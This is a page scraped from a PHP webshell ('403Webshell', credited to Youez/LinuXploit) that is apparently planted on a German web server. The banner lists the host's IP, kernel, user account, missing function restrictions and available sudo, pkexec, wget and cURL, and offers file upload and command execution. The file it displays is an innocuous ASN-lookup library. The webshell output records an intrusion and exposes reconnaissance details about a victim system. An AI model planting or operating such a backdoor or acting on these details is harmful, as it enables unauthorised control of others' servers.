403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web21/web/api/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web21/web/api/lib/asn.php
<?php
/**
 * ASN-/Netzwerk-Auflösung via Team Cymru DNS (schnell, ohne Key) + RIPEstat-Fallback.
 *
 * @package SafeMyIdent\Api
 */

declare(strict_types=1);

require_once __DIR__ . '/net.php';
require_once __DIR__ . '/ripestat.php';

/**
 * Team-Cymru-Origin-Lookup zu einer IP.
 *
 * @param string $ip IP.
 * @return array{asn:string,prefix:string,cc:string,rir:string,date:string}
 */
function smi_cymru_origin(string $ip): array
{
    $empty = ['asn' => '', 'prefix' => '', 'cc' => '', 'rir' => '', 'date' => ''];
    $ver = smi_ip_version($ip);
    if ($ver === 4) {
        $rev = implode('.', array_reverse(explode('.', $ip)));
        $q   = $rev . '.origin.asn.cymru.com';
    } elseif ($ver === 6) {
        $bin = @inet_pton($ip);
        if ($bin === false) {
            return $empty;
        }
        $hex = bin2hex($bin);
        $rev = implode('.', array_reverse(str_split($hex)));
        $q   = $rev . '.origin6.asn.cymru.com';
    } else {
        return $empty;
    }
    $recs = smi_dns($q, DNS_TXT);
    if (!is_array($recs) || !isset($recs[0]['txt'])) {
        return $empty;
    }
    // "ASN | Prefix | CC | RIR | Date"  (bei mehreren ASNs: "AS1 AS2 | …")
    $parts = array_map('trim', explode('|', (string) $recs[0]['txt']));
    return [
        'asn'    => $parts[0] ?? '',
        'prefix' => $parts[1] ?? '',
        'cc'     => $parts[2] ?? '',
        'rir'    => $parts[3] ?? '',
        'date'   => $parts[4] ?? '',
    ];
}

/**
 * AS-Name via Team Cymru.
 *
 * @param string $asn ASN-Zahl.
 * @return string AS-Name oder ''.
 */
function smi_cymru_asname(string $asn): string
{
    $asn = preg_replace('/\D/', '', $asn);
    if ($asn === '') {
        return '';
    }
    $recs = smi_dns('AS' . $asn . '.asn.cymru.com', DNS_TXT);
    if (!is_array($recs) || !isset($recs[0]['txt'])) {
        return '';
    }
    // "ASN | CC | RIR | Date | AS-Name"
    $parts = array_map('trim', explode('|', (string) $recs[0]['txt']));
    return $parts[4] ?? '';
}

/**
 * RIR aus Kürzel lesbar machen.
 *
 * @param string $rir Kürzel.
 * @return string
 */
function smi_rir_name(string $rir): string
{
    $map = [
        'ripencc' => 'RIPE NCC (Europa/Naher Osten)', 'ripe' => 'RIPE NCC (Europa/Naher Osten)',
        'arin' => 'ARIN (Nordamerika)', 'apnic' => 'APNIC (Asien/Pazifik)',
        'lacnic' => 'LACNIC (Lateinamerika)', 'afrinic' => 'AFRINIC (Afrika)',
    ];
    return $map[strtolower(trim($rir))] ?? strtoupper($rir);
}

/**
 * Vollständige ASN-/Netz-Infos zu einer IP (Cymru + RIPEstat kombiniert).
 *
 * @param string $ip IP.
 * @return array<string,mixed>
 */
function smi_asn_lookup(string $ip): array
{
    $c = smi_cymru_origin($ip);
    $firstAsn = trim(explode(' ', $c['asn'])[0]);
    $name = $firstAsn !== '' ? smi_cymru_asname($firstAsn) : '';

    // Ergänzen/absichern via RIPEstat.
    if ($firstAsn === '' || $c['prefix'] === '') {
        $ni = smi_ripe_network_info($ip);
        if ($firstAsn === '' && !empty($ni['asns'])) {
            $firstAsn = (string) $ni['asns'][0];
        }
        if ($c['prefix'] === '') {
            $c['prefix'] = $ni['prefix'];
        }
    }
    if ($name === '' && $firstAsn !== '') {
        $ov = smi_ripe_as_overview($firstAsn);
        $name = $ov['holder'];
    }

    return [
        'asn'        => $firstAsn !== '' ? 'AS' . $firstAsn : '',
        'asn_number' => $firstAsn,
        'as_name'    => $name,
        'prefix'     => $c['prefix'],
        'cc'         => $c['cc'],
        'rir'        => $c['rir'],
        'rir_name'   => $c['rir'] !== '' ? smi_rir_name($c['rir']) : '',
        'alloc_date' => $c['date'],
    ];
}

Youez - 2016 - github.com/yon3zu
LinuXploit